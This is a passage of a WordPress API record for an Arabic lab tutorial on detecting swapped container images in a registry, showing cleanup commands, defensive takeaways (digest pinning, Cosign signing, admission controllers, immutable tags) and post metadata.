\u0644\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0629 \u0627\u0644\u0648\u0633\u0648\u0645 \u0648\u0641\u0642\u0627\u064b \u0644\u0630\u0644\u0643 \u2014 \u0627\u0633\u062a\u062e\u062f\u0645 \u0648\u0633\u0648\u0645\u0627\u064b \u0641\u0631\u064a\u062f\u0629 (\u0645\u062b\u0644 \u0648\u0633\u0648\u0645 \u0645\u0628\u0646\u064a\u0629 \u0639\u0644\u0649 Git SHA) \u0648\u0639\u0645\u0644\u064a\u0627\u062a \u062a\u0631\u0642\u064a\u0629 \u062a\u0646\u0634\u0626 \u0648\u0633\u0648\u0645\u0627\u064b \u062c\u062f\u064a\u062f\u0629 \u0628\u062f\u0644\u0627\u064b \u0645\u0646 \u0627\u0644\u0643\u062a\u0627\u0628\u0629 \u0641\u0648\u0642 \u0627\u0644\u0645\u0648\u062c\u0648\u062f\u0629.<\/p>\n<h2>\u0627\u0644\u062a\u0646\u0638\u064a\u0641<\/h2>\n<p>\u0623\u0632\u0644 \u062c\u0645\u064a\u0639 \u0627\u0644\u0645\u0648\u0627\u0631\u062f \u0627\u0644\u062a\u064a \u062a\u0645 \u0625\u0646\u0634\u0627\u0624\u0647\u0627 \u062e\u0644\u0627\u0644 \u0647\u0630\u0627 \u0627\u0644\u062a\u0645\u0631\u064a\u0646:<\/p>\n<pre><code># Stop and remove the local registry\ndocker stop registry && docker rm registry\n\n# Remove the kind cluster (if created)\nkind delete cluster --name sigstore-lab\n\n# Clean up temporary files\nrm -rf \/tmp\/lab-legitimate \/tmp\/lab-malicious\nrm -f \/tmp\/original-manifest.json \/tmp\/tampered-manifest.json\nrm -f \/tmp\/verify-digest.sh\nrm -f cosign.key cosign.pub\n\n# Remove locally cached images\ndocker rmi localhost:5000\/myapp:v1.0.0 2>\/dev\/null || true<\/code><\/pre>\n<h2>\u0627\u0644\u0646\u0642\u0627\u0637 \u0627\u0644\u0631\u0626\u064a\u0633\u064a\u0629<\/h2>\n<ul>\n<li><strong>\u0648\u0633\u0648\u0645 \u0635\u0648\u0631 \u0627\u0644\u062d\u0627\u0648\u064a\u0627\u062a \u0642\u0627\u0628\u0644\u0629 \u0644\u0644\u062a\u063a\u064a\u064a\u0631.<\/strong> \u064a\u0645\u0643\u0646 \u0644\u0623\u064a \u0634\u062e\u0635 \u0644\u062f\u064a\u0647 \u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0627\u0644\u062f\u0641\u0639 \u0627\u0633\u062a\u0628\u062f\u0627\u0644 \u0627\u0644\u0635\u0648\u0631\u0629 \u062e\u0644\u0641 \u0627\u0644\u0648\u0633\u0645 \u0628\u0635\u0645\u062a. \u0644\u0627 \u062a\u062b\u0642 \u0623\u0628\u062f\u0627\u064b \u0628\u0627\u0644\u0648\u0633\u0645 \u0643\u0636\u0645\u0627\u0646 \u0644\u0645\u062d\u062a\u0648\u0649 \u0627\u0644\u0635\u0648\u0631\u0629.<\/li>\n<li><strong>\u062a\u062b\u0628\u064a\u062a digest \u0647\u0648 \u062e\u0637 \u062f\u0641\u0627\u0639\u0643 \u0627\u0644\u0623\u0648\u0644.<\/strong> \u0627\u0644\u0625\u0634\u0627\u0631\u0629 \u0625\u0644\u0649 \u0627\u0644\u0635\u0648\u0631 \u0628\u0648\u0627\u0633\u0637\u0629 <code>@sha256:...<\/code> \u0628\u062f\u0644\u0627\u064b \u0645\u0646 <code>:tag<\/code> \u064a\u0636\u0645\u0646 \u0623\u0646\u0643 \u062a\u0633\u062d\u0628 \u062f\u0627\u0626\u0645\u0627\u064b \u0627\u0644\u0635\u0648\u0631\u0629 \u0627\u0644\u0645\u0642\u0635\u0648\u062f\u0629 \u0628\u0627\u0644\u0636\u0628\u0637\u060c \u0628\u063a\u0636 \u0627\u0644\u0646\u0638\u0631 \u0639\u0646 \u062a\u063a\u064a\u064a\u0631\u0627\u062a \u0627\u0644\u0648\u0633\u0648\u0645.<\/li>\n<li><strong>\u062a\u0648\u0642\u064a\u0639\u0627\u062a Cosign \u062a\u062b\u0628\u062a \u0627\u0644\u0645\u0635\u062f\u0631.<\/strong> \u062a\u0631\u0628\u0637 \u0627\u0644\u062a\u0648\u0642\u064a\u0639\u0627\u062a \u0647\u0648\u064a\u0629 \u062a\u0634\u0641\u064a\u0631\u064a\u0629 \u0628\u0640 digest \u0645\u062d\u062f\u062f\u060c \u0645\u0645\u0627 \u064a\u062a\u062d\u0642\u0642 \u0645\u0646 \u0627\u0644\u0633\u0644\u0627\u0645\u0629 (\u0644\u0645 \u064a\u062a\u0645 \u0627\u0644\u062a\u0644\u0627\u0639\u0628) \u0648\u0627\u0644\u0623\u0635\u0627\u0644\u0629 (\u0628\u064f\u0646\u064a\u062a \u0645\u0646 \u0642\u0628\u0644 \u0637\u0631\u0641 \u0645\u0648\u062b\u0648\u0642).<\/li>\n<li><strong>\u0645\u062a\u062d\u0643\u0645\u0627\u062a \u0627\u0644\u0642\u0628\u0648\u0644 \u062a\u0641\u0631\u0636 \u0627\u0644\u0633\u064a\u0627\u0633\u0627\u062a \u0648\u0642\u062a \u0627\u0644\u0646\u0634\u0631.<\/strong> \u0623\u062f\u0648\u0627\u062a \u0645\u062b\u0644 Kyverno \u0648 Sigstore policy-controller \u062a\u0631\u0641\u0636 \u0627\u0644\u0635\u0648\u0631 \u063a\u064a\u0631 \u0627\u0644\u0645\u0648\u0642\u0651\u0639\u0629 \u0623\u0648 \u063a\u064a\u0631 \u0627\u0644\u0645\u0648\u062b\u0642\u0629 \u0642\u0628\u0644 \u0623\u0646 \u062a\u062a\u0645\u0643\u0646 \u0645\u0646 \u0627\u0644\u0639\u0645\u0644 \u0641\u064a \u0645\u062c\u0645\u0648\u0639\u062a\u0643.<\/li>\n<li><strong>\u062b\u0628\u0627\u062a registry \u064a\u0645\u0646\u0639 \u0627\u0644\u0647\u062c\u0648\u0645 \u0645\u0646 \u0627\u0644\u0645\u0635\u062f\u0631.<\/strong> \u062a\u0641\u0639\u064a\u0644 \u0627\u0644\u0648\u0633\u0648\u0645 \u063a\u064a\u0631 \u0627\u0644\u0642\u0627\u0628\u0644\u0629 \u0644\u0644\u062a\u063a\u064a\u064a\u0631 \u0639\u0644\u0649 ECR \u0623\u0648 GCR \u0623\u0648 ACR \u064a\u0648\u0642\u0641 \u0627\u0644\u0643\u062a\u0627\u0628\u0629 \u0641\u0648\u0642 \u0627\u0644\u0648\u0633\u0648\u0645 \u062a\u0645\u0627\u0645\u0627\u064b\u060c \u0644\u0643\u0646\u0647 \u064a\u062a\u0637\u0644\u0628 \u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0629 \u0648\u0633\u0648\u0645 \u062a\u062a\u062c\u0646\u0628 \u0625\u0639\u0627\u062f\u0629 \u0627\u0644\u0627\u0633\u062a\u062e\u062f\u0627\u0645.<\/li>\n<li><strong>\u0627\u0644\u062f\u0641\u0627\u0639 \u0645\u062a\u0639\u062f\u062f \u0627\u0644\u0637\u0628\u0642\u0627\u062a \u0636\u0631\u0648\u0631\u064a.<\/strong> \u0644\u0627 \u062a\u0648\u062c\u062f \u0622\u0644\u064a\u0629 \u0648\u0627\u062d\u062f\u0629 \u0643\u0627\u0641\u064a\u0629. \u0627\u062f\u0645\u062c \u062a\u062b\u0628\u064a\u062a digest \u0648\u0627\u0644\u062a\u0648\u0642\u064a\u0639 \u0648\u0645\u062a\u062d\u0643\u0645\u0627\u062a \u0627\u0644\u0642\u0628\u0648\u0644 \u0648\u062b\u0628\u0627\u062a registry \u0644\u062d\u0645\u0627\u064a\u0629 \u0642\u0648\u064a\u0629 \u0636\u062f \u0647\u062c\u0645\u0627\u062a \u0633\u0644\u0633\u0644\u0629 \u0627\u0644\u062a\u0648\u0631\u064a\u062f \u0639\u0644\u0649 \u0635\u0648\u0631 \u0627\u0644\u062d\u0627\u0648\u064a\u0627\u062a.<\/li>\n<\/ul>\n<h2>\u0627\u0644\u062e\u0637\u0648\u0627\u062a \u0627\u0644\u062a\u0627\u0644\u064a\u0629<\/h2>\n<p>\u0648\u0627\u0635\u0644 \u0628\u0646\u0627\u0621 \u0645\u0647\u0627\u0631\u0627\u062a\u0643 \u0641\u064a \u0623\u0645\u0646 \u0627\u0644\u062d\u0627\u0648\u064a\u0627\u062a \u0645\u0639 \u0647\u0630\u0647 \u0627\u0644\u0623\u062f\u0644\u0629 \u0630\u0627\u062a \u0627\u0644\u0635\u0644\u0629:<\/p>\n<ul>\n<li><a href=\"\/ar\/ci-cd-security\/signing-verifying-container-images-sigstore-cosign\/\">\u062a\u0648\u0642\u064a\u0639 \u0648\u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0635\u0648\u0631 \u0627\u0644\u062d\u0627\u0648\u064a\u0627\u062a \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 Sigstore \u0648 Cosign<\/a> \u2014 \u0646\u0638\u0631\u0629 \u0645\u0639\u0645\u0642\u0629 \u0639\u0644\u0649 \u0627\u0644\u062a\u0648\u0642\u064a\u0639 \u0628\u062f\u0648\u0646 \u0645\u0641\u0627\u062a\u064a\u062d \u0645\u0639 Fulcio\u060c \u0648\u0633\u062c\u0644\u0627\u062a \u0627\u0644\u0634\u0641\u0627\u0641\u064a\u0629 \u0645\u0639 Rekor\u060c \u0648\u0623\u0646\u0645\u0627\u0637 \u062f\u0645\u062c CI\/CD \u0644\u0639\u0645\u0644\u064a\u0627\u062a \u0627\u0644\u062a\u0648\u0642\u064a\u0639 \u0627\u0644\u0622\u0644\u064a\u0629.<\/li>\n<li><a href=\"\/ar\/ci-cd-security\/defensive-patterns-mitigations-ci-cd-pipeline-attacks\/\">\u0623\u0646\u0645\u0627\u0637 \u0627\u0644\u062f\u0641\u0627\u0639 \u0648\u0627\u0644\u062a\u062e\u0641\u064a\u0641<\/a> \u2014 \u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a \u0634\u0627\u0645\u0644\u0629 \u0644\u062a\u0623\u0645\u064a\u0646 \u062e\u0637 \u0623\u0646\u0627\u0628\u064a\u0628 CI\/CD \u0628\u0627\u0644\u0643\u0627\u0645\u0644\u060c \u0645\u0646 \u0627\u0644\u062a\u062d\u0643\u0645 \u0628\u0627\u0644\u0645\u0635\u062f\u0631 \u0625\u0644\u0649 \u0646\u0634\u0631 \u0627\u0644\u0625\u0646\u062a\u0627\u062c.<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>\u0646\u0638\u0631\u0629 \u0639\u0627\u0645\u0629 \u0648\u0633\u0648\u0645 \u0635\u0648\u0631 \u0627\u0644\u062d\u0627\u0648\u064a\u0627\u062a (tags) \u0647\u064a \u0645\u0624\u0634\u0631\u0627\u062a \u0642\u0627\u0628\u0644\u0629 \u0644\u0644\u062a\u063a\u064a\u064a\u0631. \u0639\u0644\u0649 \u0639\u0643\u0633 Git commit hash\u060c \u0641\u0625\u0646 \u0627\u0644\u0648\u0633\u0645 v1.0.0 \u0644\u064a\u0633 \u0645\u0631\u062a\u0628\u0637\u0627\u064b \u062a\u0634\u0641\u064a\u0631\u064a\u0627\u064b \u0628\u0635\u0648\u0631\u0629 \u0645\u062d\u062f\u062f\u0629 \u2014 \u0625\u0646\u0647 \u0645\u062c\u0631\u062f \u062a\u0633\u0645\u064a\u0629 \u064a\u0631\u0628\u0637\u0647\u0627 registry \u0628\u0645\u0644\u062e\u0635 manifest digest. \u064a\u0645\u0643\u0646 \u0644\u0623\u064a \u0634\u062e\u0635 \u0644\u062f\u064a\u0647 \u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0627\u0644\u062f\u0641\u0639 (push access) \u0625\u0644\u0649 \u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639 \u0627\u0644\u0643\u062a\u0627\u0628\u0629 \u0641\u0648\u0642 \u0647\u0630\u0627 \u0627\u0644\u0631\u0628\u0637 \u0641\u064a \u0623\u064a \u0648\u0642\u062a\u060c \u0645\u0633\u062a\u0628\u062f\u0644\u0627\u064b \u0627\u0644\u0635\u0648\u0631\u0629 \u062e\u0644\u0641 \u0648\u0633\u0645 \u0645\u0648\u062b\u0648\u0642 \u0628\u0635\u0645\u062a &#8230; <a title=\"\u062a\u0645\u0631\u064a\u0646 \u0639\u0645\u0644\u064a: \u0627\u0643\u062a\u0634\u0627\u0641 \u0627\u0644\u062a\u0644\u0627\u0639\u0628 \u0628\u0627\u0644\u0639\u0646\u0627\u0635\u0631 \u0627\u0644\u0628\u0631\u0645\u062c\u064a\u0629 \u2014 \u0627\u0633\u062a\u0628\u062f\u0627\u0644 \u0635\u0648\u0631 \u0627\u0644\u062d\u0627\u0648\u064a\u0627\u062a \u0641\u064a Registry\" class=\"read-more\" href=\"https:\/\/secure-pipelines.com\/ar\/ci-cd-security\/lab-artifact-tampering-detection-swapping-container-images-registry\/\" aria-label=\"Read more about \u062a\u0645\u0631\u064a\u0646 \u0639\u0645\u0644\u064a: \u0627\u0643\u062a\u0634\u0627\u0641 \u0627\u0644\u062a\u0644\u0627\u0639\u0628 \u0628\u0627\u0644\u0639\u0646\u0627\u0635\u0631 \u0627\u0644\u0628\u0631\u0645\u062c\u064a\u0629 \u2014 \u0627\u0633\u062a\u0628\u062f\u0627\u0644 \u0635\u0648\u0631 \u0627\u0644\u062d\u0627\u0648\u064a\u0627\u062a \u0641\u064a Registry\">\u0627\u0642\u0631\u0623 \u0627\u0644\u0645\u0632\u064a\u062f<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26,67,31],"tags":[],"post_folder":[],"class_list":["post-822","post","type-post","status-publish","format-standard","hentry","category-ci-cd-security","category-labs","category-threats-attacks"],"_links":{"self":[{"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/posts\/822","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/comments?post=822"}],"version-history":[{"count":0,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/posts\/822\/revisions"}],"wp:attachment":[{"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/media?parent=822"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/categories?post=822"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/tags?post=822"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/post_folder?post=822"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}